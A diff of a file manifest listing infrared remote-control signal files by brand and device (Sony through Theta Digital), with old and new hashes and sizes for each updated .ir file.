+F:135441ac345a018a05dc473166569f76:7867:infrared/_CSV-IRDB_/Sony/VCR/7,-1.ir +F:fb32a8b00bb3275c9194f70ec3e0f5ad:816:infrared/_CSV-IRDB_/Sony/VCR/9,-1.ir +F:b044ffdeb83f82c85b4ad46a932129dd:5519:infrared/_CSV-IRDB_/Sony/Video Projector/26,42.ir +F:d051d53a6c86aaf4117761ef1df5e415:10479:infrared/_CSV-IRDB_/Sony/Video Projector/84,-1.ir D:infrared/_CSV-IRDB_/Speed-link/Unknown_SL-6399 -F:ad5d4b6bef0d6eff4bea2525022f8ba3:4696:infrared/_CSV-IRDB_/Speed-link/Unknown_SL-6399/0,-1.ir +F:6bba2ec9cc94fc83523bc50ebf4e836d:4400:infrared/_CSV-IRDB_/Speed-link/Unknown_SL-6399/0,-1.ir D:infrared/_CSV-IRDB_/Starsat/Unknown_120 -F:81b8b48c7e2fa22058302efda69316d3:3884:infrared/_CSV-IRDB_/Starsat/Unknown_120/64,64.ir +F:4c226e3c6f8e502dfa3c0fbd804e39b3:3636:infrared/_CSV-IRDB_/Starsat/Unknown_120/64,64.ir D:infrared/_CSV-IRDB_/Starview/Unknown_Starview -F:45f6ffa9115865e71bea38d3844bdf18:3142:infrared/_CSV-IRDB_/Starview/Unknown_Starview/0,249.ir +F:75383cc8284b9f66b473a3540286122e:2942:infrared/_CSV-IRDB_/Starview/Unknown_Starview/0,249.ir D:infrared/_CSV-IRDB_/Streamzap/Unknown_PC -F:6f59e48b9a68d568f932f36fed229d0d:3368:infrared/_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir +F:2eebde4c5fbb8461ba8615a332ac98a3:3156:infrared/_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir D:infrared/_CSV-IRDB_/Sumvision/Unknown_Sumvision -F:7ec99e1a58116dc650a7639dbe70dd9c:4288:infrared/_CSV-IRDB_/Sumvision/Unknown_Sumvision/0,-1.ir +F:2629c2c404ae6eced4cac563f422e362:4016:infrared/_CSV-IRDB_/Sumvision/Unknown_Sumvision/0,-1.ir D:infrared/_CSV-IRDB_/Sunfire/Surround Processor -F:eb396765895c3772c4fc7ec078db6684:2257:infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,0.ir -F:26960aa61db7333b73e6c79e7e2ebafa:407:infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,1.ir -F:6d1fa7aa9ec8e120c6031bcee17b8910:226:infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,3.ir +F:4ce15842d36d2272d4a76359078d7f40:2117:infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,0.ir +F:032481e38d4159c0573dbba014d93e83:381:infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,1.ir +F:70d43ec8046458a98a99c9e6ced5a8b6:212:infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,3.ir D:infrared/_CSV-IRDB_/Sungale/Unknown_JX-2002 -F:6094653f66a384d379e2e476f7cd294e:3270:infrared/_CSV-IRDB_/Sungale/Unknown_JX-2002/0,-1.ir +F:45fd37fa1234387a771c1ec0d8bc6180:3064:infrared/_CSV-IRDB_/Sungale/Unknown_JX-2002/0,-1.ir D:infrared/_CSV-IRDB_/Supermax/Unknown_Supermax -F:a71657af1cb4a7502bbf0f55ab744f97:2752:infrared/_CSV-IRDB_/Supermax/Unknown_Supermax/128,38.ir +F:45945704e87d65a2b00bbf1c408e68e4:2576:infrared/_CSV-IRDB_/Supermax/Unknown_Supermax/128,38.ir D:infrared/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15 -F:48986062bfc936554557f11c47a74ae5:3361:infrared/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15/10,-1.ir +F:2f2d8b7cd95ec2a3c38e2086ce1f88a3:3149:infrared/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15/10,-1.ir D:infrared/_CSV-IRDB_/Syabas/Unknown_A-100 -F:f889f531cef168b341c7a0681c27e6e5:4803:infrared/_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir +F:da79d9e6c21e7119754c4f53f0558da8:4501:infrared/_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir D:infrared/_CSV-IRDB_/Symphonic/TV D:infrared/_CSV-IRDB_/Symphonic/VCR -F:1bbadefc3e9bb3f8c0debe5abc253392:2038:infrared/_CSV-IRDB_/Symphonic/TV/41,-1.ir -F:a9870e44144efbdc75c6d34fbeae64db:2613:infrared/_CSV-IRDB_/Symphonic/VCR/40,-1.ir -F:b3d84c24aef29c6a124a4347de645697:130:infrared/_CSV-IRDB_/Symphonic/VCR/44,-1.ir +F:3d0c415cfebda54bba51b93e112bf929:1904:infrared/_CSV-IRDB_/Symphonic/TV/41,-1.ir +F:f11182af028c75651a5901c5757c0283:2443:infrared/_CSV-IRDB_/Symphonic/VCR/40,-1.ir +F:7859f79ffe38fb90b1185111e56ffdbd:122:infrared/_CSV-IRDB_/Symphonic/VCR/44,-1.ir D:infrared/_CSV-IRDB_/TCM/Unknown_212845-CD D:infrared/_CSV-IRDB_/TCM/Unknown_218681 D:infrared/_CSV-IRDB_/TCM/Unknown_225925 D:infrared/_CSV-IRDB_/TCM/Unknown_225926 D:infrared/_CSV-IRDB_/TCM/Unknown_96518 D:infrared/_CSV-IRDB_/TCM/Unknown_TCM -F:939cab01de7bf18a0a5db05755aa28a1:3453:infrared/_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir -F:a7be7315250ad9f789904519cb6a0fdb:3136:infrared/_CSV-IRDB_/TCM/Unknown_218681/5,5.ir -F:fcc3c2777a8887982864ef2595b114ce:2691:infrared/_CSV-IRDB_/TCM/Unknown_225925/24,233.ir -F:5b83a9513221017896df1f87fcc5d0e4:2691:infrared/_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir -F:2218917a1fc6f218af2dffed589d2821:3445:infrared/_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir -F:df6e48ebceb61e3a62dd0c03374c2618:3057:infrared/_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir +F:99c812cbe22ec32d17e52ef44f9ffce6:3235:infrared/_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir +F:83cd9abe4129e579de22a473f0c6b8ce:2936:infrared/_CSV-IRDB_/TCM/Unknown_218681/5,5.ir +F:6a0863a1653bcd1038e35583da9437a8:2521:infrared/_CSV-IRDB_/TCM/Unknown_225925/24,233.ir +F:b0127382068dd296681e020520337b7b:2521:infrared/_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir +F:7c1ec769a262b90295e7026028283490:3227:infrared/_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir +F:96f8a5ad3f9f609f3f9fe1f98955bd68:2863:infrared/_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir D:infrared/_CSV-IRDB_/TCUAG/Unknown_TVBOX -F:0a622898b546ec4bf5b56b9d381e6cdd:3823:infrared/_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir +F:42d3c238d14d4d3e8088ac1ebeb02c2d:3569:infrared/_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir D:infrared/_CSV-IRDB_/TEAC/DVD Player D:infrared/_CSV-IRDB_/TEAC/Unknown_CD D:infrared/_CSV-IRDB_/TEAC/Unknown_RC-547 @@ -5618,26 +5618,26 @@ D:infrared/_CSV-IRDB_/TEAC/Unknown_RC-548 D:infrared/_CSV-IRDB_/TEAC/Unknown_RC-558 D:infrared/_CSV-IRDB_/TEAC/Unknown_RC-614 D:infrared/_CSV-IRDB_/TEAC/Unknown_RC-909 -F:739104fc3d7ff1ec2b9e26f2a0e2ba6e:3346:infrared/_CSV-IRDB_/TEAC/DVD Player/163,-1.ir -F:4236c8a13bdd7de1082e54b69097bd25:2562:infrared/_CSV-IRDB_/TEAC/DVD Player/175,-1.ir -F:9a127790c6c6a2b6b58166be795a9c46:2862:infrared/_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir -F:6e178b39b1f9b174ccb6493812dd636d:327:infrared/_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir -F:ebc73c7f77a5f4515df0063ef766b8b3:2214:infrared/_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir -F:7d5215eef6553b2412606a44cff7f281:1387:infrared/_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir -F:03aafd46021ea56772fff99fb6528db7:3612:infrared/_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir -F:aefba38c3b901d8a1334bb66eea0eb3d:2902:infrared/_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir +F:0000c1371d2744ae7df67d73927e5955:3128:infrared/_CSV-IRDB_/TEAC/DVD Player/163,-1.ir +F:c6f478f031a12ccec71a92bc14fe4d31:2386:infrared/_CSV-IRDB_/TEAC/DVD Player/175,-1.ir +F:4f658f94c3df79637c29b049df54cfbc:2680:infrared/_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir +F:573c9da50191cea2c2f69ee5c23674a5:307:infrared/_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir +F:8226de670a777679ee061dc4d0a6af9d:2074:infrared/_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir +F:b6f7de6db7bd99df4d8c201a4f2811fb:1301:infrared/_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir +F:356833fdded867887691968a20c7515f:3382:infrared/_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir +F:82718c7a067f3b9fba0db1d8977c748c:2720:infrared/_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir D:infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR643880 D:infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64798 D:infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64799 D:infrared/_CSV-IRDB_/TECHNICS/Unknown_EURXP300 D:infrared/_CSV-IRDB_/TECHNICS/Unknown_cd D:infrared/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a -F:105a4277c0563d0c99d5d287ff455ad5:2868:infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR643880/160,10.ir -F:11a73108ff090674768b520db38f6213:3141:infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64798/160,10.ir -F:a69c3a115261d6d1048e41b5fc6a0397:3150:infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64799/160,10.ir -F:c086690a6d442293e79ce4246be8c33f:2292:infrared/_CSV-IRDB_/TECHNICS/Unknown_EURXP300/160,10.ir -F:aa8d25bf6031105cb539ce4947b7cd00:3267:infrared/_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir -F:80298104c7bb83b39a0c25fabb3f0d01:3262:infrared/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a/160,10.ir +F:cce774c77f1d5bec074b8ee5be5bb88a:2686:infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR643880/160,10.ir +F:b0dc3abfdfe84f21313c75ebee2f6492:2941:infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64798/160,10.ir +F:8cdc3866b41f8918aa6eda0313f2cf89:2950:infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64799/160,10.ir +F:9f8d8ff90c3e5b34dc1618cba6aa415a:2146:infrared/_CSV-IRDB_/TECHNICS/Unknown_EURXP300/160,10.ir +F:c8419386ae19929e193c73fa8a56d68b:3061:infrared/_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir +F:463234dc365beb61239ac5bac0e78670:3056:infrared/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a/160,10.ir D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_100TS035 D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35 D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A @@ -5647,70 +5647,70 @@ D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e -F:9bf9f9e9e34df288071e597bca83c2b9:3220:infrared/_CSV-IRDB_/TECHNISAT/Unknown_100TS035/10,-1.ir -F:e20e0c5f08bf72fee5733254089b5d80:3245:infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35/10,-1.ir -F:7a45d8d6e864a2b9ca01ac41ba7979dd:4042:infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A/10,-1.ir -F:52c3d8bbc74803ca1eadc18bcf71c9f8:2769:infrared/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S/1,-1.ir -F:2d3381d5455ce686802883bd42302251:2498:infrared/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S/1,-1.ir -F:e386bc508290dd4d0454dd785a2631ad:536:infrared/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT/1,-1.ir -F:c6668052a68234e75569c51a771baab1:3170:infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI/10,-1.ir -F:7e12c4089e5431006874dbcaf2814df9:3125:infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir -F:af1fc813fe83433ee575af5c96b0e746:3418:infrared/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e/131,121.ir +F:fc86194d7c126e75a29ea35ef9ab76d3:3014:infrared/_CSV-IRDB_/TECHNISAT/Unknown_100TS035/10,-1.ir +F:975426930ec70d9c4910532e129e554d:3039:infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35/10,-1.ir +F:3712dd3b4f48bfc8f8d857e36b5e8051:3788:infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A/10,-1.ir +F:ea5dbda250550876046717bb301839fd:2593:infrared/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S/1,-1.ir +F:9c160d964fcb53326acfc61ef5fb9ba2:2340:infrared/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S/1,-1.ir +F:9a1ec7ed151fb804c2b699993f053591:504:infrared/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT/1,-1.ir +F:7329c31863860e0de7dd4dece69c3afe:2970:infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI/10,-1.ir +F:f85eb3c1f7651b8d318b214fee89fbb0:2925:infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir +F:aa544d2fa5a2b05cd629a141a658cafe:3200:infrared/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e/131,121.ir D:infrared/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000 D:infrared/_CSV-IRDB_/TELEFUNKEN/TV_1127 D:infrared/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345 D:infrared/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550 D:infrared/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B -F:e624e0e2c9e7bbd312a18b8e47f7b1cd:3160:infrared/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir -F:09ff86b4b590eaed6e9ef1279906a3a6:1945:infrared/_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir -F:a0b84acde1d4c62cd8a4cd93c31973fc:2097:infrared/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir -F:8eb625e9f0b06f868601802906b47233:5785:infrared/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir -F:2105369f11afaea0fb3fb513c5b52e87:3038:infrared/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir +F:dd628e73b352fb7cd19dc37c6b8a9707:2966:infrared/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir +F:7b2de336cebc549bbaddedd3ebdbfa1d:1823:infrared/_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir +F:6e74f390fb0bcc1f66cbdad33fdd1203:1963:infrared/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir +F:ec823f92667786fba1e810af9ab6228b:5423:infrared/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir +F:99d6c28217a6437df9a9f5d38ca9cc01:2844:infrared/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir D:infrared/_CSV-IRDB_/TRIAX/Unknown_DVB -F:db3a4553dd617760df0b3c7c780353fa:2004:infrared/_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir +F:fc5ff20de4d5a7d271148cb74b1c423f:1876:infrared/_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir D:infrared/_CSV-IRDB_/Tab Electronics/Unknown_Kit -F:84b86d888c5f4efaa8e6a1b86c4de8fb:1365:infrared/_CSV-IRDB_/Tab Electronics/Unknown_Kit/0,-1.ir +F:cdcee347afcb028246981b0a09d71e9c:1279:infrared/_CSV-IRDB_/Tab Electronics/Unknown_Kit/0,-1.ir D:infrared/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner -F:317fa10fa1a035f3f02df14da375b492:2227:infrared/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner/6,248.ir +F:d880eb4c0296ebabc4391f28e897529a:2081:infrared/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner/6,248.ir D:infrared/_CSV-IRDB_/Technosonic/Unknown_DVD-204 -F:ad129522d23ca9548261babe8c9afbd1:4018:infrared/_CSV-IRDB_/Technosonic/Unknown_DVD-204/16,237.ir +F:8c702bd8132ad2f686d5e89608124879:3764:infrared/_CSV-IRDB_/Technosonic/Unknown_DVD-204/16,237.ir D:infrared/_CSV-IRDB_/Technotrend/Unknown_DVB D:infrared/_CSV-IRDB_/Technotrend/Unknown_Micro D:infrared/_CSV-IRDB_/Technotrend/Unknown_S2400 D:infrared/_CSV-IRDB_/Technotrend/Unknown_Technotrend D:infrared/_CSV-IRDB_/Technotrend/Unknown_remote -F:8cf8209e0a9b956e9e7ff9646b343ab7:3615:infrared/_CSV-IRDB_/Technotrend/Unknown_DVB/21,-1.ir -F:cc76c12e2139941c94b7c24364b9764d:3154:infrared/_CSV-IRDB_/Technotrend/Unknown_Micro/21,-1.ir -F:3cd59bc8fb096c69737bcebc212e3053:3545:infrared/_CSV-IRDB_/Technotrend/Unknown_S2400/21,-1.ir -F:6fe22508f6771d3e5d4dfbac7cbf814e:3555:infrared/_CSV-IRDB_/Technotrend/Unknown_Technotrend/21,-1.ir -F:eba05fec46fd374c6d1227516cf1c3ad:3138:infrared/_CSV-IRDB_/Technotrend/Unknown_remote/21,-1.ir +F:f9a89011cee803c09050ede54879ee7b:3391:infrared/_CSV-IRDB_/Technotrend/Unknown_DVB/21,-1.ir +F:08d38d71713d6b2188e5f4fe13c0d73b:2954:infrared/_CSV-IRDB_/Technotrend/Unknown_Micro/21,-1.ir +F:a405b35346ef0cf45ae5a6c0f8aa60bf:3321:infrared/_CSV-IRDB_/Technotrend/Unknown_S2400/21,-1.ir +F:0983310ad8bf62a84f356fc9a3587f66:3331:infrared/_CSV-IRDB_/Technotrend/Unknown_Technotrend/21,-1.ir +F:f5e2513d4df8edd6299eb78d073da6ee:2944:infrared/_CSV-IRDB_/Technotrend/Unknown_remote/21,-1.ir D:infrared/_CSV-IRDB_/Teleka/Unknown_STR2060 -F:54704079a79ab43cc78c7cfe7b807e59:2074:infrared/_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir +F:11aedcf83bba56dd5892c666fad76190:1940:infrared/_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir D:infrared/_CSV-IRDB_/Telemann/PC HDTV Tuner Card -F:a213371fa177a0c1c0c3195c6221c565:693:infrared/_CSV-IRDB_/Telemann/PC HDTV Tuner Card/8,-1.ir +F:cc939001686c6bb416323df0d28c2216:649:infrared/_CSV-IRDB_/Telemann/PC HDTV Tuner Card/8,-1.ir D:infrared/_CSV-IRDB_/Televes/Unknown_145075 D:infrared/_CSV-IRDB_/Televes/Unknown_711701 -F:5b7aea003590afd706d25fd26b788752:3788:infrared/_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir -F:2db15a624d69b0061cfaa7edcd2c82d0:3749:infrared/_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir +F:c722b9ed059e5a42b4ef1ab7b8866e37:3546:infrared/_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir +F:ba530010d84037d2d464dc447e71dbc9:3513:infrared/_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir D:infrared/_CSV-IRDB_/Tensai/Unknown_5340fb -F:4c0ccd9a5ddaf14bccd1b1e7364d4370:2203:infrared/_CSV-IRDB_/Tensai/Unknown_5340fb/134,124.ir +F:07c2e20b9251d58f8756782856a18886:2063:infrared/_CSV-IRDB_/Tensai/Unknown_5340fb/134,124.ir D:infrared/_CSV-IRDB_/Terratec/Internet Radio D:infrared/_CSV-IRDB_/Terratec/Unknown_1400 D:infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy D:infrared/_CSV-IRDB_/Terratec/Unknown_M3PO D:infrared/_CSV-IRDB_/Terratec/Unknown_home -F:e21e9c5d6858da6b3a419f7b6b732758:2925:infrared/_CSV-IRDB_/Terratec/Internet Radio/4,243.ir -F:1dbc9f26afd515415645d6d694dbb175:3455:infrared/_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir -F:15eb42a15492915420d1e661930aee0b:3363:infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/134,107.ir -F:a40f8adaaee0a0715f66a7f6fff9de66:4581:infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/20,-1.ir -F:78506bae775a931c4139da0aa56449a3:3629:infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/4,235.ir -F:4451300710c217191074faf2c0fbc71d:1759:infrared/_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir -F:ce5126a82e863431ca9086d13c815571:1198:infrared/_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir +F:f0b7760dc78a3489a0ae52ed82b9c49a:2731:infrared/_CSV-IRDB_/Terratec/Internet Radio/4,243.ir +F:db3885c95966234b5919e7b233028b6d:3237:infrared/_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir +F:c954e04f25d2e5986610e9c78d8e0450:3151:infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/134,107.ir +F:26734361b37b8a11466dae427dee886a:4291:infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/20,-1.ir +F:61a7b1185c954cfbf03d6f9eabeb9042:3399:infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/4,235.ir +F:35a8dbd5737d8a8f4a89591669ccf209:1649:infrared/_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir +F:529ed5c5ea739266781e02de2d5be510:1124:infrared/_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir D:infrared/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD D:infrared/_CSV-IRDB_/Tesla/Unknown_Tesla -F:cdaa004aba8380c6e5f6ddbe4fc52bb2:3897:infrared/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD/1,-1.ir -F:fb3a6905d9641394737d2d10c9298447:3130:infrared/_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir -F:9be574a6090a42a875db75427ac0e301:2847:infrared/_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir +F:3a0ad9ed367f15ffc52d94fbabed107b:3649:infrared/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD/1,-1.ir +F:11773c873d4d9f4a30addafacf4eb638:2930:infrared/_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir +F:013ee059a644791ab818db0774f31d84:2665:infrared/_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir D:infrared/_CSV-IRDB_/Tevion/Unknown_3830 D:infrared/_CSV-IRDB_/Tevion/Unknown_41666 D:infrared/_CSV-IRDB_/Tevion/Unknown_DFA @@ -5727,58 +5727,58 @@ D:infrared/_CSV-IRDB_/Tevion/Unknown_TEV1020 D:infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383 D:infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905 D:infrared/_CSV-IRDB_/Tevion/Unknown_TevionMd3607 -F:a4f5811d4858f3db293df97fb0ca6613:3441:infrared/_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir -F:ea8ee69a7ef05351481743b20552435a:3829:infrared/_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir -F:668de8558b59f6f5e2e312351ad328c5:3267:infrared/_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir -F:158ac16fa465c9d08c36a94409d549b2:3258:infrared/_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir -F:fccd6a0a700b76727f2c28768978b997:3731:infrared/_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir -F:afc65bfd0f61f8d101756ab8b688c188:3604:infrared/_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir -F:3fb034835c2c624629810eba5a9277bc:3156:infrared/_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir -F:ec7f5a77110e2f192143440c7ac7977a:1469:infrared/_CSV-IRDB_/Tevion/Unknown_MDC-982PLL/162,162.ir -F:be4fadba1a28591efe1bcf04fc568e2a:3248:infrared/_CSV-IRDB_/Tevion/Unknown_RS20536/67,71.ir -F:0afc37c6c0fcbf6e24701ad9ca65b172:3448:infrared/_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir -F:adb7141e301253f22c6cc59617bd917a:5456:infrared/_CSV-IRDB_/Tevion/Unknown_TDR-250HD/0,159.ir -F:94fbed0523b777fea5be2353ccd9d56a:5229:infrared/_CSV-IRDB_/Tevion/Unknown_TDR51DV/0,159.ir -F:7f14f00295ab0a38c6f95abee2d5aa48:4094:infrared/_CSV-IRDB_/Tevion/Unknown_TE-0603/64,63.ir -F:e9cae905ed59eaa42afff4da9a3e2451:4583:infrared/_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir -F:ae75324428d6d55b1f0e08cfd94e0350:4004:infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383/5,5.ir -F:1fb871d67ffdf3f4ee94cfb16496c86c:4110:infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905/23,105.ir -F:3792a5f24f7219a9cd84dac5c6806036:2796:infrared/_CSV-IRDB_/Tevion/Unknown_TevionMd3607/7,-1.ir +F:4373b14ddebb607a25fae27773d548b5:3223:infrared/_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir +F:2b343c922088565dfa2c3be7aa92b932:3587:infrared/_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir +F:0b7564ad9bb65d709020b134664f5b84:3061:infrared/_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir +F:aaaeb75c3eebbee73c25810eff9593bb:3052:infrared/_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir +F:61259ac03f51d3caeebdffe6b395736c:3495:infrared/_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir +F:47816268b4e90a74b31537af8fef7bb9:3374:infrared/_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir +F:4d23acd5e8b8e07906eda56295067d70:2956:infrared/_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir +F:30c45fc7374753401fb9049c1f915fed:1377:infrared/_CSV-IRDB_/Tevion/Unknown_MDC-982PLL/162,162.ir +F:3f0a97872e6f7a8131fa90382ea8db24:3042:infrared/_CSV-IRDB_/Tevion/Unknown_RS20536/67,71.ir +F:230306c4d8f0f6a3106907bef17b800c:3230:infrared/_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir +F:d93a916e4ca9e21d074a33fce0df0dfd:5112:infrared/_CSV-IRDB_/Tevion/Unknown_TDR-250HD/0,159.ir +F:d581281fc879b8afa6198142adb536f0:4897:infrared/_CSV-IRDB_/Tevion/Unknown_TDR51DV/0,159.ir +F:179824fcefade83f823c70fbbd56a5dd:3834:infrared/_CSV-IRDB_/Tevion/Unknown_TE-0603/64,63.ir +F:c9ef6f59cad0e01b4fe001d55c914e4d:4293:infrared/_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir +F:7b0a8366df2561b78dbda098bc0f099e:3750:infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383/5,5.ir +F:18001c21584e0a68f98baaace9239fb7:3850:infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905/23,105.ir +F:6cf95bea502048bcccb70cf4ba210eee:2620:infrared/_CSV-IRDB_/Tevion/Unknown_TevionMd3607/7,-1.ir D:infrared/_CSV-IRDB_/Theta Digital/DVD Player D:infrared/_CSV-IRDB_/Theta Digital/Surround Processor -F:e4a7538ac01962b6c920cb61e771f44f:2892:infrared/_CSV-IRDB_/Theta Digital/DVD Player/163,-1.ir -F:6c439d1fc3dcb50164e9404f03803182:2127:infrared/_CSV-IRDB_/Theta Digital/DVD Player/175,-1.ir -F:187cdef64b732a722018dc093d264d7a:3726:infrared/_CSV-IRDB_/Theta Digital/Surround Processor/16,-1.ir +F:b6906008a901d5c01f7ee57244c955af:2704:infrared/_CSV-IRDB_/Theta Digital/DVD Player/163,-1.ir +F:f2bb186b6edcc2f535744f3598de5ef2:1981:infrared/_CSV-IRDB_/Theta Digital/DVD Player/175,-1.ir +F:699fc519cb356bf7f7477ef89cb7373d:3484:infrared/_CSV-IRDB_/Theta 